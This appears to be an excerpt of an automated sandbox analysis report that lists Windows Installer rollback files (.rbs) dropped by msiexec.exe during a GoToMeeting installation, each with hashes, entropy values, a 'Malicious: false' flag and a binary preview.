Preview:	...@IXOS.@.....@.y.Z.@.....@.....@.....@.....@.....@......&.{A737E874-2CD8-4738-B38F-9986E7D8C9C9}..GoTo..cpt.msi.@.....@.....@.....@........&.{8EB6C5B9-E3E4-4C99-901D-D3213245204A}.....@.....@.....@.....@.......@.....@.....@.......@......GoTo......Rollback..Rolling back action:..[1]..RollbackCleanup..Removing backup files..File: [1]....ProcessComponents..Updating component registration..&.{E2403B4A-7B91-4AD0-8120-725A16F5C9B7},.C:\Users\user\AppData\Roaming\GoToMeeting\.@....&.{A737E874-2CD8-4738-B38F-9986E7D8C9C9}...@.....@........RegisterProduct..Registering product..[1]$..@......Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-21-2246122658-3693405117-2476756634-1003\Products\478E737A8DC283743BF899687E8D9C9C\InstallPropertiesx.....\...l.............H.........?...................9...................?........... ... ........... ... ................@....$..@....3.Software\Microsoft\Windows\CurrentVersion\Uninstall.............................................. ...!.

C:\Config.Msi\58add2.rbs

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	4264
Entropy (8bit):	5.08035989891243
Encrypted:	false
SSDEEP:	96:pm2bZNeKn6tTldRn6cTlddwn+snG/+riz6zX+Ua+UP:EYZNepRdRgS
MD5:	780A479ADA9D75F0E77FC63D99A12E68
SHA1:	60D006A799BD539F4EB2998A6ECE2006030C4DA3
SHA-256:	13319363539FA3996FD01A2DD80174635ACC5C7C02779DDA910F95791692896D
SHA-512:	8808244CB25CF7303B5D5B20EE1CF52662F31F150A46C077251849058E56CC2CB58C9E47177F93FCDCBBC66B3FB6646F6BBD6C6408D6501AD04F08FD58A777A9
Malicious:	false
Reputation:	low
Preview:	...@IXOS.@.....@.y.Z.@.....@.....@.....@.....@.....@......&.{A737E874-2CD8-4738-B38F-9986E7D8C9C9}..GoTo..cpt.msi.@.....@.....@.....@........&.{8EB6C5B9-E3E4-4C99-901D-D3213245204A}.....@.....@.....@.....@.......@.....@.....@.......@......GoTo......Rollback..Rolling back action:..[1]..RollbackCleanup..Removing backup files..File: [1]....ProcessComponents..Updating component registration..&.{E2403B4A-7B91-4AD0-8120-725A16F5C9B7},.C:\Users\user\AppData\Roaming\GoToMeeting\.@....&.{A737E874-2CD8-4738-B38F-9986E7D8C9C9}...@.....@........RegisterProduct..Registering product..[1]$..@......Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-21-2246122658-3693405117-2476756634-1003\Products\478E737A8DC283743BF899687E8D9C9C\InstallPropertiesx.....\...l.............H.........?...................9...................?........... ... ........... ... ................@....$..@....3.Software\Microsoft\Windows\CurrentVersion\Uninstall.............................................. ...!.

C:\Config.Msi\58add4.rbs

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	4264
Entropy (8bit):	5.08035989891243
Encrypted:	false
SSDEEP:	96:Wm2bZNeKn6tTldRn6cTlddwn+snG/+riz6zX+Ua+UP:vYZNepRdRgS
MD5:	B4DBA31A014B16F568F26851852F53B2
SHA1:	AEA959AD732B2F2689FA967D1637AD8359C0F6B9
SHA-256:	5EFC6E6D39DD625C563E6E178CAC5F904C1EC33C64F95938532C1ECAF9ABBD18
SHA-512:	BC1903B082B0C88FCF0CB5D96F90F22A4B157736C9B2DF80B6B3F0CADEDE97773047DE79FEA192EB485C71F4A247CAE5190EA52665E0D24B4B3C9687477EBB02
Malicious:	false
Reputation:	low
Preview:	...@IXOS.@.....@.y.Z.@.....@.....@.....@.....@.....@......&.{A737E874-2CD8-4738-B38F-9986E7D8C9C9}..GoTo..cpt.msi.@.....@.....@.....@........&.{8EB6C5B9-E3E4-4C99-901D-D3213245204A}.....@.....@.....@.....@.......@.....@.....@.......@......GoTo......Rollback..Rolling back action:..[1]..RollbackCleanup..Removing backup files..File: [1]....ProcessComponents..Updating component registration..&.{E2403B4A-7B91-4AD0-8120-725A16F5C9B7},.C:\Users\user\AppData\Roaming\GoToMeeting\.@....&.{A737E874-2CD8-4738-B38F-9986E7D8C9C9}...@.....@........RegisterProduct..Registering product..[1]$..@......Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-21-2246122658-3693405117-2476756634-1003\Products\478E737A8DC283743BF899687E8D9C9C\InstallPropertiesx.....\...l.............H.........?...................9...................?........... ... ........... ... ................@....$..@....3.Software\Microsoft\Windows\CurrentVersion\Uninstall.............................................. ...!.

C:\Config.Msi\58add6.rbs

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	4264
Entropy (8bit):	5.079513360339626
Encrypted:	false
SSDEEP:	96:Hm2bZNeKn6tTldRn6cTlddwn+snG/+riz6zX+Ua+UP:GYZNepRdRgS
MD5:	BFBEC6487C0C44E2B729DE1B1F5E2E58
SHA1:	C87FE57E62839AC1E6A043E262C80D815CFE07AF
SHA-256:	61F1EE889F27E003BD97104416D858FA17B921520C6702786DF3BBB6B76AE393
SHA-512:	22927CD5CA98350E98E289BBBB84ECAC06F31FE81B81CD0E7D79BD059C93AE3694722C0998A7968C886D951EA7CD75F13D6A184E7191B6A79CD9A90784E44D8B
Malicious:	false
Reputation:	low
Preview:	...@IXOS.@.....@.y.Z.@.....@.....@.....@.....@.....@......&.{A737E874-2CD8-4738-B38F-9986E7D8C9C9}..GoTo..cpt.msi.@.....@.....@.....@........&.{8EB6C5B9-E3E4-4C99-901D-D3213245204A}.....@.....@.....@.....@.......@.....@.....@.......@......GoTo......Rollback..Rolling back action:..[1]..RollbackCleanup..Removing backup files..File: [1]....ProcessComponents..Updating component registration..&.{E2403B4A-7B91-4AD0-8120-725A16F5C9B7},.C:\Users\user\AppData\Roaming\GoToMeeting\.@....&.{A737E874-2CD8-4738-B38F-9986E7D8C9C9}...@.....@........RegisterProduct..Registering product..[1]$..@......Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-21-2246122658-3693405117-2476756634-1003\Products\478E737A8DC283743BF899687E8D9C9C\InstallPropertiesx.....\...l.............H.........?...................9...................?........... ... ........... ... ................@....$..@....3.Software\Microsoft\Windows\CurrentVersion\Uninstall.............................................. ...!.

C:\Config.Msi\58add8.rbs

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	4264
Entropy (8bit):	5.079513360339626
Encrypted:	false
SSDEEP:	96:Hm2bZNeKn6tTldRn6cTlddwn+snG/+riz6zX+Ua+UP:GYZNepRdRgS
MD5:	BFBEC6487C0C44E2B729DE1B1F5E2E58
SHA1:	C87FE57E62839AC1E6A043E262C80D815CFE07AF
SHA-256:	61F1EE889F27E003BD97104416D858FA17B921520C6702786DF3BBB6B76AE393
SHA-512:	22927CD5CA98350E98E289BBBB84ECAC06F31FE81B81CD0E7D79BD059C93AE3694722C0998A7968C886D951EA7CD75F13D6A184E7191B6A79CD9A90784E44D8B
Malicious:	false
Reputation:	low
Preview:	...@IXOS.@.....@.y.Z.@.....@.....@.....@.....@.....@......&.{A737E874-2CD8-4738-B38F-9986E7D8C9C9}..GoTo..cpt.msi.@.....@.....@.....@........&.{8EB6C5B9-E3E4-4C99-901D-D3213245204A}.....@.....@.....@.....@.......@.....@.....@.......@......GoTo......Rollback..Rolling back action:..[1]..RollbackCleanup..Removing backup files..File: [1]....ProcessComponents..Updating component registration..&.{E2403B4A-7B91-4AD0-8120-725A16F5C9B7},.C:\Users\user\AppData\Roaming\GoToMeeting\.@....&.{A737E874-2CD8-4738-B38F-9986E7D8C9C9}...@.....@........RegisterProduct..Registering product..[1]$..@......Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-21-2246122658-3693405117-2476756634-1003\Products\478E737A8DC283743BF899687E8D9C9C\InstallPropertiesx.....\...l.............H.........?...................9...................?........... ... ........... ... ................@....$..@....3.Software\Microsoft\Windows\CurrentVersion\Uninstall.............................................. ...!.

C:\Config.Msi\58adda.rbs

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	4264
Entropy (8bit):	5.08035989891243
Encrypted:	false
SSDEEP:	96:Obm2bZNeKn6tTldRn6cTlddwn+snG/+riz6zX+Ua+UP:OSYZNepRdRgS
MD5:	C9F97A39B658380403A491C14FB1C5A1
SHA1:	05DFDEECE9949037D4EC94093BB9DC580970C16B
SHA-256:	CD811B6014BD2071EC619118E86D6745A5F51055F50161845D95D3F988418C96
SHA-512:	BFC16997830D0686CCFD1135F7C53D925485602E25CDE09E3351F72715B24B13506999FA568ABE68008DA14CC616F7CB0306B8A487F8D5376637D75203AE30CD
Malicious:	false
Reputation:	low
Preview:	...@IXOS.@.....@.y.Z.@.....@.....@.....@.....@.....@......&.{A737E874-2CD8-4738-B38F-9986E7D8C9C9}..GoTo..cpt.msi.@.....@.....@.....@........&.{8EB6C5B9-E3E4-4C99-901D-D3213245204A}.....@.....@.....@.....@.......@.....@.....@.......@......GoTo......Rollback..Rolling back action:..[1]..RollbackCleanup..Removing backup files..File: [1]....ProcessComponents..Updating component registration..&.{E2403B4A-7B91-4AD0-8120-725A16F5C9B7},.C:\Users\user\AppData\Roaming\GoToMeeting\.@....&.{A737E874-2CD8-4738-B38F-9986E7D8C9C9}...@.....@........RegisterProduct..Registering product..[1]$..@......Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-21-2246122658-3693405117-2476756634-1003\Products\478E737A8DC283743BF899687E8D9C9C\InstallPropertiesx.....\...l.............H.........?...................9...................?........... ... ........... ... ................@....$..@....3.Software\Microsoft\Windows\CurrentVersion\Uninstall.............................................. ...!.

C:\Config.Msi\58addc.rbs

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	4264
Entropy (8bit):	5.08035989891243
Encrypted:	false
SSDEEP:	96:Obm2bZNeKn6tTldRn6cTlddwn+snG/+riz6zX+Ua+UP:OSYZNepRdRgS
MD5:	C9F97A39B658380403A491C14FB1C5A1
SHA1:	05DFDEECE9949037D4EC94093BB9DC580970C16B
SHA-256:	CD811B6014BD2071EC619118E86D6745A5F51055F50161845D95D3F988418C96
SHA-512:	BFC16997830D0686CCFD1135F7C53D925485602E25CDE09E3351F72715B24B13506999FA568ABE68008DA14CC616F7CB0306B8A487F8D5376637D75203AE30CD
Malicious:	false
Reputation:	low
Preview:	...@IXOS.@.....@.y.Z.@.....@.....@.....@.....@.....@......&.{A737E874-2CD8-4738-B38F-9986E7D8C9C9}..GoTo..cpt.msi.@.....@.....@.....@........&.{8EB6C5B9-E3E4-4C99-901D-D3213245204A}.....@.....@.....@.....@.......@.....@.....@.......@......GoTo......Rollback..Rolling back action:..[1]..RollbackCleanup..Removing backup files..File: [1]....ProcessComponents..Updating component registration..&.{E2403B4A-7B91-4AD0-8120-725A16F5C9B7},.C:\Users\user\AppData\Roaming\GoToMeeting\.@....&.{A737E874-2CD8-4738-B38F-9986E7D8C9C9}...@.....@........RegisterProduct..Registering product..[1]$..@......Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-21-2246122658-3693405117-2476756634-1003\Products\478E737A8DC283743BF899687E8D9C9C\InstallPropertiesx.....\...l.............H.........?...................9...................?........... ... ........... ... ................@....$..@....3.Software\Microsoft\Windows\CurrentVersion\Uninstall.............................................. ...!.

C:\Config.Msi\58adde.rbs

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	4264
Entropy (8bit):	5.08035989891243
Encrypted:	false
SSDEEP:	96:1m2bZNeKn6tTldRn6cTlddwn+snG/+riz6zX+Ua+UP:YYZNepRdRgS
MD5:	E816F68C2F54B1F299275F03BA00B2C1
SHA1:	8D6AB07C7E88BB13AE92C99CE2BEAA711DD500CB
SHA-256:	FB9BC4C86298DC0EE1B3D3823FEB46D6794E3B1681AD85CE25B4B756E188D9CB
SHA-512:	D9B2A1662C617E6690222BAA6C837EF99EF8878F3CBAF6CCA729D6C57665A89C88513CBA5F2C4EDD78FBA393D28AA27853A887961C4E94E34F03EE31180032F6
Malicious:	false
Reputation:	low
Preview:	...@IXOS.@.....@.y.Z.@.....@.....@.....@.....@.....@......&.{A737E874-2CD8-4738-B38F-9986E7D8C9C9}..GoTo..cpt.msi.@.....@.....@.....@........&.{8EB6C5B9-E3E4-4C99-901D-D3213245204A}.....@.....@.....@.....@.......@.....@.....@.......@......GoTo......Rollback..Rolling back action:..[1]..RollbackCleanup..Removing backup files..File: [1]....ProcessComponents..Updating component registration..&.{E2403B4A-7B91-4AD0-8120-725A16F5C9B7},.C:\Users\user\AppData\Roaming\GoToMeeting\.@....&.{A737E874-2CD8-4738-B38F-9986E7D8C9C9}...@.....@........RegisterProduct..Registering product..[1]$..@......Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-21-2246122658-3693405117-2476756634-1003\Products\478E737A8DC283743BF899687E8D9C9C\InstallPropertiesx.....\...l.............H.........?...................9...................?........... ... ........... ... ................@....$..@....3.Software\Microsoft\Windows\CurrentVersion\Uninstall.............................................. ...!.

C:\Config.Msi\58ade0.rbs

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	4264
Entropy (8bit):	5.08035989891243
Encrypted:	false
SSDEEP:	96:Cm2bZNeKn6tTldRn6cTlddwn+snG/+riz6zX+Ua+UP:jYZNepRdRgS
MD5:	F9A3BC9CEF71BE30F9D308113071BC06
SHA1:	45363C9409A9F2D9F30B699F316D768AC2405BE8
SHA-256:	D44CBAA64D8AB26505933F55D73FB2B936851160BEC49499D3D29A17E36D7549
SHA-512:	E525409E7FE1C79CAF47153287478A0DCA9DB4EC6414CE5FD63DBDE9A6CA0BCE4516B96DCC1B85B13ED44A6252F4BC9004FCBF0DAC0EF318B8C46D1F8FB5E593
Malicious:	false
Reputation:	low
Preview:	...@IXOS.@.....@.y.Z.@.....@.....@.....@.....@.....@......&.{A737E874-2CD8-4738-B38F-9986E7D8C9C9}..GoTo..cpt.msi.@.....@.....@.....@........&.{8EB6C5B9-E3E4-4C99-901D-D3213245204A}.....@.....@.....@.....@.......@.....@.....@.......@......GoTo......Rollback..Rolling back action:..[1]..RollbackCleanup..Removing backup files..File: [1]....ProcessComponents..Updating component registration..&.{E2403B4A-7B91-4AD0-8120-725A16F5C9B7},.C:\Users\user\AppData\Roaming\GoToMeeting\.@....&.{A737E874-2CD8-4738-B38F-9986E7D8C9C9}...@.....@........RegisterProduct..Registering product..[1]$..@......Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-21-2246122658-3693405117-2476756634-1003\Products\478E737A8DC283743BF899687E8D9C9C\InstallPropertiesx.....\...l.............H.........?...................9...................?........... ... ........... ... ................@....$..@....3.Software\Microsoft\Windows\CurrentVersion\Uninstall.............................................. ...!.

C:\Config.Msi\58ade2.rbs

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	4264
Entropy (8bit):	5.08035989891243
Encrypted:	false
SSDEEP:	96:Cm2bZNeKn6tTldRn6cTlddwn+snG/+riz6zX+Ua+UP:jYZNepRdRgS
MD5:	F9A3BC9CEF71BE30F9D308113071BC06
SHA1:	45363C9409A9F2D9F30B699F316D768AC2405BE8
SHA-256:	D44CBAA64D8AB26505933F55D73FB2B936851160BEC49499D3D29A17E36D7549
SHA-512:	E525409E7FE1C79CAF47153287478A0DCA9DB4EC6414CE5FD63DBDE9A6CA0BCE4516B96DCC1B85B13ED44A6252F4BC9004FCBF0DAC0EF318B8C46D1F8FB5E593
Malicious:	false
Reputation:	low
Preview:	...@IXOS.@.....@.y.Z.@.....@.....@.....@.....@.....@......&.{A737E874-2CD8-4738-B38F-9986E7D8C9C9}..GoTo..cpt.msi.@.....@.....@.....@........&.{8EB6C5B9-E3E4-4C99-901D-D3213245204A}.....@.....@.....@.....@.......@.....@.....@.......@......GoTo......Rollback..Rolling back action:..[1]..RollbackCleanup..Removing backup files..File: [1]....ProcessComponents..Updating component registration..&.{E2403B4A-7B91-4AD0-8120-725A16F5C9B7},.C:\Users\user\AppData\Roaming\GoToMeeting\.@....&.{A737E874-2CD8-4738-B38F-9986E7D8C9C9}...@.....@........RegisterProduct..Registering product..[1]$..@......Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-21-2246122658-3693405117-2476756634-1003\Products\478E737A8DC283743BF899687E8D9C9C\InstallPropertiesx.....\...l.............H.........?...................9...................?........... ... ........... ... ................@....$..@....3.Software\Microsoft\Windows\CurrentVersion\Uninstall.............................................. ...!.

C:\Config.Msi\58ade4.rbs

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	4264
Entropy (8bit):	5.077715339422268
Encrypted:	false
SSDEEP:	96:+m2bZNeKn6tTldRn6cTlddwn+snG/+riz6zX+Ua+UP:3YZNepRdRgS
MD5:	436FF89953651494517EA36697CF155C
SHA1:	A0F521366A19F0B6F7F824B8175B2F988977BA98
SHA-256:	ECAA75E37EB3342E1B8A2B4DB56FA66916B77C267D892630A22B850933B5EA4D
SHA-512:	EF604223F88DA72F73821E6C40B9D9D95A941E3E535C8606851C625FD352ADBFB430C087F4E1D0DB49AC226172620C66BD26B4FF638338AAE629CE7F549D80A6
Malicious:	false
Reputation:	low
Preview:	...@IXOS.@.....@.z.Z.@.....@.....@.....@.....@.....@......&.{A737E874-2CD8-4738-B38F-9986E7D8C9C9}..GoTo..cpt.msi.@.....@.....@.....@........&.{8EB6C5B9-E3E4-4C99-901D-D3213245204A}.....@.....@.....@.....@.......@.....@.....@.......@......GoTo......Rollback..Rolling back action:..[1]..RollbackCleanup..Removing backup files..File: [1]....ProcessComponents..Updating component registration..&.{E2403B4A-7B91-4AD0-8120-725A16F5C9B7},.C:\Users\user\AppData\Roaming\GoToMeeting\.@....&.{A737E874-2CD8-4738-B38F-9986E7D8C9C9}...@.....@........RegisterProduct..Registering product..[1]$..@......Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-21-2246122658-3693405117-2476756634-1003\Products\478E737A8DC283743BF899687E8D9C9C\InstallPropertiesx.....\...l.............H.........?...................9...................?........... ... ........... ... ................@....$..@....3.Software\Microsoft\Windows\CurrentVersion\Uninstall.............................................. ...!.

C:\Config.Msi\58ade6.rbs

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	4264
Entropy (8bit):	5.078419803317319
Encrypted:	false
SSDEEP:	96:Rm2bZNeKn6tTldRn6cTlddwn+snG/+riz6zX+Ua+UP:sYZNepRdRgS
MD5:	44760308EE8800BD11C2D9BA76616EDE
SHA1:	198DD38AE701114E7CE7120B37BC54D5E0F06A8C
SHA-256:	9B4D793C731AB671CBF9553A13732BDD0C5278FBD0557330FEB8654FF5B58FDA
SHA-512:	BE767DD84D7A554B5B72E868248BECE34DCFAFBB7ED134FCA55FA8EAC55EBD109EFA96CD6DC6DAF4C739D3E3613236992BFCF6CEBEB2806CBA348974B077A5AC
Malicious:	false
Reputation:	low
Preview:	...@IXOS.@.....@.z.Z.@.....@.....@.....@.....@.....@......&.{A737E874-2CD8-4738-B38F-9986E7D8C9C9}..GoTo..cpt.msi.@.....@.....@.....@........&.{8EB6C5B9-E3E4-4C99-901D-D3213245204A}.....@.....@.....@.....@.......@.....@.....@.......@......GoTo......Rollback..Rolling back action:..[1]..RollbackCleanup..Removing backup files..File: [1]....ProcessComponents..Updating component registration..&.{E2403B4A-7B91-4AD0-8120-725A16F5C9B7},.C:\Users\user\AppData\Roaming\GoToMeeting\.@....&.{A737E874-2CD8-4738-B38F-9986E7D8C9C9}...@.....@........RegisterProduct..Registering product..[1]$..@......Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-21-2246122658-3693405117-2476756634-1003\Products\478E737A8DC283743BF899687E8D9C9C\InstallPropertiesx.....\...l.............H.........?...................9...................?........... ... ........... ... ................@....$..@....3.Software\Microsoft\Windows\CurrentVersion\Uninstall.............................................. ...!.

C:\Config.Msi\58ade8.rbs

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	4264
Entropy (8bit):	5.078419803317319
Encrypted:	false
SSDEEP:	96:Rm2bZNeKn6tTldRn6cTlddwn+snG/+riz6zX+Ua+UP:sYZNepRdRgS
MD5:	44760308EE8800BD11C2D9BA76616EDE
SHA1:	198DD38AE701114E7CE7120B37BC54D5E0F06A8C
SHA-256:	9B4D793C731AB671CBF9553A13732BDD0C5278FBD0557330FEB8654FF5B58FDA
SHA-512:	BE767DD84D7A554B5B72E868248BECE34DCFAFBB7ED134FCA55FA8EAC55EBD109EFA96CD6DC6DAF4C739D3E3613236992BFCF6CEBEB2806CBA348974B077A5AC
Malicious:	false
Reputation:	low
Preview:	...@IXOS.@.....@.z.Z.@.....@.....@.....@.....@.....@......&.{A737E874-2CD8-4738-B38F-9986E7D8C9C9}..GoTo..cpt.msi.@.....@.....@.....@........&.{8EB6C5B9-E3E4-4C99-901D-D3213245204A}.....@.....@.....@.....@.......@.....@.....@.......@......GoTo......Rollback..Rolling back action:..[1]..RollbackCleanup..Removing backup files..File: [1]....ProcessComponents..Updating component registration..&.{E2403B4A-7B91-4AD0-8120-725A16F5C9B7},.C:\Users\user\AppData\Roaming\GoToMeeting\.@....&.{A737E874-2CD8-4738-B38F-9986E7D8C9C9}...@.....@........RegisterProduct..Registering product..[1]$..@......Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-21-2246122658-3693405117-2476756634-1003\Products\478E737A8DC283743BF899687E8D9C9C\InstallPropertiesx.....\...l.............H.........?...................9...................?........... ... ........... ... ................@....$..@....3.Software\Microsoft\Windows\CurrentVersion\Uninstall.............................................. ...!.

C:\Config.Msi\58adea.rbs

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	4264
Entropy (8bit):	5.078596777417237
Encrypted:	false
SSDEEP:	96:Ym2bZNeKn6tTldRn6cTlddwn+snG/+riz6zX+Ua+UP:NYZNepRdRgS
MD5:	0851A91ACC7072C872AA5A733A9134F5
SHA1:	2A8EA283905F3F3A9E0263892D27FF679037F088
SHA-256:	A588280FC1A43B6D271A17AB62C5B8FB45B644D226C4BC6CF1364F400E78E4A3
SHA-512:	0568AF2035B79A7A5E000EF7A54EEE24F392601A1589E804E3DAE82C01DF8CBDADD6DB415705386254CAB4275BEBF0D46B10CC9ED45480EA92143F8F75EF92C2
Malicious:	false
Reputation:	low
Preview:	...@IXOS.@.....@.z.Z.@.....@.....@.....@.....@.....@......&.{A737E874-2CD8-4738-B38F-9986E7D8C9C9}..GoTo..cpt.msi.@.....@.....@.....@........&.{8EB6C5B9-E3E4-4C99-901D-D3213245204A}.....@.....@.....@.....@.......@.....@.....@.......@......GoTo......Rollback..Rolling back action:..[1]..RollbackCleanup..Removing backup files..File: [1]....ProcessComponents..Updating component registration..&.{E2403B4A-7B91-4AD0-8120-725A16F5C9B7},.C:\Users\user\AppData\Roaming\GoToMeeting\.@....&.{A737E874-2CD8-4738-B38F-9986E7D8C9C9}...@.....@........RegisterProduct..Registering product..[1]$..@......Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-21-2246122658-3693405117-2476756634-1003\Products\478E737A8DC283743BF899687E8D9C9C\InstallPropertiesx.....\...l.............H.........?...................9...................?........... ... ........... ... ................@....$..@....3.Software\Microsoft\Windows\CurrentVersion\Uninstall.............................................. ...!.

C:\Config.Msi\58adec.rbs

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	4264
Entropy (8bit):	5.078596777417237
Encrypted:	false
SSDEEP:	96:Ym2bZNeKn6tTldRn6cTlddwn+snG/+riz6zX+Ua+UP:NYZNepRdRgS
MD5:	0851A91ACC7072C872AA5A733A9134F5
SHA1:	2A8EA283905F3F3A9E0263892D27FF679037F088
SHA-256:	A588280FC1A43B6D271A17AB62C5B8FB45B644D226C4BC6CF1364F400E78E4A3
SHA-512:	0568AF2035B79A7A5E000EF7A54EEE24F392601A1589E804E3DAE82C01DF8CBDADD6DB415705386254CAB4275BEBF0D46B10CC9ED45480EA92143F8F75EF92C2
Malicious:	false
Reputation:	low
Preview:	...@IXOS.@.....@.z.Z.@.....@.....@.....@.....@.....@......&.{A737E874-2CD8-4738-B38F-9986E7D8C9C9}..GoTo..cpt.msi.@.....@.....@.....@........&.{8EB6C5B9-E3E4-4C99-901D-D3213245204A}.....@.....@.....@.....@.......@.....@.....@.......@......GoTo......Rollback..Rolling back action:..[1]..RollbackCleanup..Removing backup files..File: [1]....ProcessComponents..Updating component registration..&.{E2403B4A-7B91-4AD0-8120-725A16F5C9B7},.C:\Users\user\AppData\Roaming\GoToMeeting\.@....&.{A737E874-2CD8-4738-B38F-9986E7D8C9C9}...@.....@........RegisterProduct..Registering product..[1]$..@......Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-21-2246122658-3693405117-2476756634-1003\Products\478E737A8DC283743BF899687E8D9C9C\InstallPropertiesx.....\...l.............H.........?...................9...................?........... ... ........... ... ................@....$..@....3.Software\Microsoft\Windows\CurrentVersion\Uninstall.............................................. ...!.

C:\Config.Msi\58adee.rbs

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	4264
Entropy (8bit):	5.078806228703032
Encrypted:	false
SSDEEP:	96:kWm2bZNeKn6tTldRn6cTlddwn+snG/+riz6zX+Ua+UP:kvYZNepRdRgS
MD5:	5899C14A6EE3231CDE818962655E2A44
SHA1:	797D09EE040AA5E2936ED39C024A21C72020ADAC
SHA-256:	7659C21BA357A8FBB1348203F708C77A4536EB4AF375D3AB80F83E62436D0003
SHA-512:	A9E0B70AA631E9F927A9D03194549DDBD4425B87C0A6E378C89C0B54C46FBB87A5D6CFFD14D51C79BB057F44BA2F37A535D10034ECD97E5E092C605ED6009DE5
Malicious:	false
Reputation:	low
Preview:	...@IXOS.@.....@.z.Z.@.....@.....@.....@.....@.....@......&.{A737E874-2CD8-4738-B38F-9986E7D8C9C9}..GoTo..cpt.msi.@.....@.....@.....@........&.{8EB6C5B9-E3E4-4C99-901D-D3213245204A}.....@.....@.....@.....@.......@.....@.....@.......@......GoTo......Rollback..Rolling back action:..[1]..RollbackCleanup..Removing backup files..File: [1]....ProcessComponents..Updating component registration..&.{E2403B4A-7B91-4AD0-8120-725A16F5C9B7},.C:\Users\user\AppData\Roaming\GoToMeeting\.@....&.{A737E874-2CD8-4738-B38F-9986E7D8C9C9}...@.....@........RegisterProduct..Registering product..[1]$..@......Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-21-2246122658-3693405117-2476756634-1003\Products\478E737A8DC283743BF899687E8D9C9C\InstallPropertiesx.....\...l.............H.........?...................9...................?........... ... ........... ... ................@....$..@....3.Software\Microsoft\Windows\CurrentVersion\Uninstall.............................................. ...!.

C:\Config.Msi\58adf0.rbs

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	4264
Entropy (8bit):	5.078929222200257
Encrypted:	false
SSDEEP:	96:qm2bZNeKn6tTldRn6cTlddwn+snG/+riz6zX+Ua+UP:rYZNepRdRgS
MD5:	328BC4A2409E8C7AB62BEB85BD832F43
SHA1:	58E42DDBB528DE5856678EA7172D6EF71562E477
SHA-256:	58AD5402BB095F9BFFD132F0899B2F6FBFFC3EB91F5A9E550840AFD2824E2D8E
SHA-512:	9DBF4F4687F19A7C38383EDE0F8EA213852E07702759B9FF03D4FE4F63723C7F9B222C48C7870D06AD4AD5436E90574CC75426667F6D86424E959D683AD8F738
Malicious:	false
Reputation:	low
Preview:	...@IXOS.@.....@.z.Z.@.....@.....@.....@.....@.....@......&.{A737E874-2CD8-4738-B38F-9986E7D8C9C9}..GoTo..cpt.msi.@.....@.....@.....@........&.{8EB6C5B9-E3E4-4C99-901D-D3213245204A}.....@.....@.....@.....@.......@.....@.....@.......@......GoTo......Rollback..Rolling back action:..[1]..RollbackCleanup..Removing backup files..File: [1]....ProcessComponents..Updating component registration..&.{E2403B4A-7B91-4AD0-8120-725A16F5C9B7},.C:\Users\user\AppData\Roaming\GoToMeeting\.@....&.{A737E874-2CD8-4738-B38F-9986E7D8C9C9}...@.....@........RegisterProduct..Registering product..[1]$..@......Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-21-2246122658-3693405117-2476756634-1003\Products\478E737A8DC283743BF899687E8D9C9C\InstallPropertiesx.....\...l.............H.........?...................9...................?........... ... ........... ... ................@....$..@....3.Software\Microsoft\Windows\CurrentVersion\Uninstall.............................................. ...!.

C:\Config.Msi\58adf2.rbs

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	4264
Entropy (8bit):	5.078781384326003
Encrypted:	false
SSDEEP:	96:dm2bZNeKn6tTldRn6cTlddwn+snG/+riz6zX+Ua+UP:AYZNepRdRgS
MD5:	D4BB754B3E7300192649CC893D0D8034
SHA1:	7838A3A8E0C9E9CE57B4D4D573D46BD108DECBF3
SHA-256:	F14A649B4680AAECDEADDBA6F8C01169D9F29B679896FF35DFB2A7B80C04F2E3
SHA-512:	00611657BADCBC2C5F084F072A090FF992B06C57FDE593A0924D86344DCD254F020843DBBD0D178D99C18936E678788F80F17E56499BA76B4EF3AD4C66E71BC7
Malicious:	false
Reputation:	low
